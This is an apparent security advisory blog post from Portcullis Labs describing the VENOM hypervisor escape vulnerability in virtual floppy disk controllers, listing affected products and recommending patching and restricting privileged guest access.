The successful exploitation of VENOM could result in arbitrary code execution in the context of the host and leads to breaking out of a guest machine and into the host system. To exploit this bug, user level access to a guest virtual machine, with sufficient permissions to talk to FDC I/O ports, is required. This means that the root user, or any other privileged user may exploit this bug.

VENOM can expose:

  •  Any neighboring guests
  • The host operating system
  • The host local network

At the time of this writing, there was already a public Proof of Concept available, which means that a public exploit can soon be released. Note that the use of the PoC release may still be useful to an attacker, as it may enable them to crash the hypervisor.

Who/What is affected?

Floppy disks are an obsolete technology, however many virtualisation products add a virtual floppy drive to VMs by default, which exposes VMs to the bugs that may exist in the Floppy Disk Controller (FDC). Besides, to exploit this vulnerability a floppy device, present in /dev/ within the guest, is not required because the Floppy Disk Controller is still present in the system.

As far as Portcullis is aware, the vulnerable technology is enabled in Xen, QEMU, FireEye’s hypervisor, and KVM by default. VMware, Microsoft Hyper-V, and Bochs hypervisors are not vulnerable. Oracle’s VirtualBox default installation shouldn’t be vulnerable by default, since the Floppy Disk Controller is optional. It is important to note that Amazon Web Services customers are not affected, however many other hosting platforms may be vulnerable.

What should we do?

There are no reports of any attackers actively exploiting this vulnerability yet. QEMU and other vendors were informed of the bug prior to its disclosure and have already released patches to fix the issue.

Portcullis recommends an upgrade to the latest version/patch of your virtualisation software, and checking for information from your vendor. In addition to this, if you are a cloud provider customer check if they have applied a patch for the VENOM vulnerability. Administrators of VM systems who rely on Xen, KVM, or the native QEMU client should apply the VENOM patches as soon as possible. If your organisation operates an affected virtualisation infrastructure for external customers, you should patch immediately.

To mitigate the overall risk of this vulnerability, only grant privileged guest access to trusted users.

The post VENOM vulnerability appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/venom-vulnerability/feed/ 0